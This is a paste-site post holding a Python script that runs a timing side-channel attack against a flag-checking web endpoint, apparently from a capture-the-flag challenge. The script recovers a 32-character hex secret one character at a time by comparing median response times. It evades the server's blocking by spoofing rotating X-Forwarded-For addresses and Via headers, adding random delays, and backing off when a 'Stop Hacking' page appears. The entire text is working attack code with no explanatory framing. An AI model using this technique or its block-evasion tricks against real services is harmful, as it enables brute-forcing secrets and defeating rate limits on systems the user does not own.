CCCPaste

05b979ecdde49

#!/usr/bin/env python3
import requests, time, statistics, random, sys

URL = "http://IP:5000/submit"
TOTAL_HEX = 32
HEX = "0123456789abcdef"

# ---- Tuning (good defaults for this target) ----
TOP_K = 5                 # refine only best K from coarse pass
FAST_TRIES = 1            # 1 quick coarse sample for all 16 candidates
REFINE_TRIES = 5          # baseline refine samples for top-K
MAX_REFINE_TRIES = 8      # upper bound if margin is too small
MARGIN_S = 0.020          # need ≥20ms gap to accept a winner
BASE_SLEEP = 0.07         # keep total rate ~6–8 rps with jitter
JITTER = 0.05
BLOCK_LEN = 75            # block page length you observed
SUBNET = "10.1.156."      # rotate last octet for XFF
USE_VIA = True            # small header variance

session = requests.Session()
session.headers.update({"Accept": "text/plain"})

def xff():
    return SUBNET + str(random.randint(2, 254))

def nap(mult=1.0):
    time.sleep(mult * (BASE_SLEEP + random.random() * JITTER))

def measure(prefix_hex: str, tries: int, method: str = "HEAD") -> float:
    """Median timing (server header preferred). Skips block-page samples."""
    attempt = f"flag{{{prefix_hex}{'0'*(TOTAL_HEX-len(prefix_hex))}}}"
    params = {"flag": attempt}
    samples = []
    for _ in range(tries):
        headers = {"X-Forwarded-For": xff()}
        if USE_VIA:
            headers["Via"] = f"1.1 fw-{random.randint(100,999)}"
        t0 = time.perf_counter()
        r = session.request(method, URL, params=params, headers=headers, timeout=6)
        t1 = time.perf_counter()

        # prefer server timing; fallback to client timing
        h = r.headers.get("X-Response-Time")
        elapsed = None
        if h:
            try:
                elapsed = float(h)
            except ValueError:
                pass
        if elapsed is None:
            elapsed = (t1 - t0)

        body = r.text or ""
        if len(body) == BLOCK_LEN or "Stop Hacking" in body:
            # short bounded backoff; then continue
            nap(mult=10)
            continue

        samples.append(elapsed)
        nap()

    # If all tries got blocked, force a retry by returning a huge time
    if not samples:
        return 9e9
    return statistics.median(samples)

def rank_candidates(prefix: str, tries_fast=FAST_TRIES, tries_refine=REFINE_TRIES):
    # coarse pass across all 16
    coarse = []
    for ch in HEX:
        t = measure(prefix + ch, tries_fast, "HEAD")
        coarse.append((ch, t))
    coarse.sort(key=lambda x: x[1], reverse=True)
    top = coarse[:TOP_K]

    # refine top-K
    refined = []
    for ch, _ in top:
        t = measure(prefix + ch, tries_refine, "HEAD")
        refined.append((ch, t))
    refined.sort(key=lambda x: x[1], reverse=True)
    return coarse, refined

def pick_next(prefix: str) -> str:
    tries = REFINE_TRIES
    while True:
        coarse, refined = rank_candidates(prefix, FAST_TRIES, tries)
        best_ch, best_t = refined[0]
        second_t = refined[1][1] if len(refined) > 1 else 0.0

        # pretty log (trim to top-3 for readability)
        print(f"[{len(prefix)}] coarse top: {[(c, round(t,6)) for c,t in coarse[:3]]} "
              f" -> refine: {[(c, round(t,6)) for c,t in refined[:3]]}")
        # accept if margin is clearly above threshold
        if best_t - second_t >= MARGIN_S or tries >= MAX_REFINE_TRIES:
            return best_ch
        # ambiguous → increase refine samples and retry only for top-K next loop
        tries = min(MAX_REFINE_TRIES, tries + 1)
        nap(mult=2)

def verify(flag_hex: str):
    params = {"flag": f"flag{{{flag_hex}}}"}
    r = session.get(URL, params=params,
                    headers={"X-Forwarded-For": xff(), "Accept": "text/plain"},
                    timeout=8)
    print("[*] Verify:", r.status_code, "len:", len(r.text or ""))
    print((r.text or "")[:400])

def main():
    # quick HEAD baseline on a wrong flag
    base = measure("0"*TOTAL_HEX, tries=1, method="HEAD")
    print(f"[*] Baseline (HEAD): t≈{base:.6f}s")

    prefix = ""
    for i in range(TOTAL_HEX):
        ch = pick_next(prefix)
        prefix += ch
        print(f"[=] progress: flag{{{prefix}{'.'*(TOTAL_HEX-len(prefix))}}}")
        nap(mult=2)

    print("\n[+] Guessed flag hex:", prefix)
    verify(prefix)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\nInterrupted.")
        sys.exit(1)